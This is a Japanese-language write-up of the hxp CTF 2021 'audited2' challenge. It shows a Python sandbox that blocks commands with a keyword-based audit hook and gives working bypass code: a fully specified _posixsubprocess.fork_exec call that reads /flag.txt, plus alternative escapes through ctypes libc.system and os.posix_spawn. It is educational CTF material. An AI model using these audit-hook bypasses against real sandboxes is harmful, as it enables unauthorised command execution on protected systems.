hxp CTF 2021 - audited2
Challenge
audit hook で監視された環境。
import sys
def audit(event, args): if 'system' in event or 'subprocess' in event or 'exec' in event: raise RuntimeError(f"Blocked: {event}")
sys.addaudithook(audit)
code = input()exec(code)Solution
_posixsubprocess.fork_exec
audit hook をトリガーしない低レベル関数:
import osimport _posixsubprocess
# パイプを作成して出力を受け取るr, w = os.pipe()
pid = _posixsubprocess.fork_exec( [b'/bin/cat', b'/flag.txt'], # args [b'/bin/cat'], # executable_list True, # close_fds (), # pass_fds '', # cwd (None in newer versions) {}, # env_list (None in newer versions) -1, w, -1, # p2cread, c2pwrite, errwrite -1, -1, # errpipe_read, errpipe_write False, # restore_signals False, # call_setsid -1, -1, -1, # gid, extra_groups, uid -1, # child_umask None, # preexec_fn)
os.close(w)result = os.read(r, 4096)print(result.decode())Technical Details
audit hook の仕組み
PEP 578 で導入された監視機構:
import sys
sys.addaudithook(callback)
# 以降、特定のイベントでコールバックが呼ばれる# イベント例:# - 'exec'# - 'compile'# - 'os.system'# - 'subprocess.Popen'# - 'open'_posixsubprocess の内部
C 拡張で実装されており、audit イベントを発行しない:
// fork_exec() は直接 fork() と execve() を呼ぶ// audit hook のチェックなし引数の詳細
_posixsubprocess.fork_exec( args, # コマンドと引数のリスト (bytes) executable_list, # 実行ファイルのパスリスト (bytes) close_fds, # 子プロセスで fd をクローズ pass_fds, # 渡す fd のタプル cwd, # 作業ディレクトリ env_list, # 環境変数 p2cread, # 親→子 パイプ読み取り側 c2pwrite, # 子→親 パイプ書き込み側 errwrite, # stderr 書き込み側 errpipe_read, # エラーパイプ読み取り側 errpipe_write, # エラーパイプ書き込み側 restore_signals, # シグナルを復元 call_setsid, # 新しいセッション開始 gid, groups, uid, # プロセス ID child_umask, # umask preexec_fn, # 実行前関数)Alternative Solutions
別解1: ctypes
import ctypeslibc = ctypes.CDLL(None)libc.system(b'cat /flag.txt')別解2: os.posix_spawn
import osos.posix_spawn('/bin/cat', ['/bin/cat', '/flag.txt'], os.environ)Flag
hxp{...}
References
- hxp CTF 2021 Official
- PEP 578 (Python Runtime Audit Hooks)
- https://ctftime.org/writeup/31707